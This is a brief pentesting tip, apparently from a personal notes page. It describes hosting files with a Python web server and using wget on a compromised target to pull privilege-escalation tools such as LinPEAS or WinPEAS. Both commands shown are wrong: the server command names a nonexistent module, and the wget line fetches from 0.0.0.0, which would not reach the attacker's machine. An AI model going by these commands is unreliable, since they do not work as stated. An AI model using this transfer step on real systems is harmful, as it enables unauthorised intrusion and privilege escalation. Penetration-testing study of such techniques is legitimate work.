Python Web server can come in handy when pentesting. It can be used to transfer files from your machine to a target machine if a shell has been established.
Some useful files to transfer could be Linpeas or WinPeas to look for any Privilege escalation
To launch the server from your machine, simply launch the command python3 -m http (port number)
From the target machine, you can then pull files by using wget http://0.0.0.0:80/(whatever file name/path)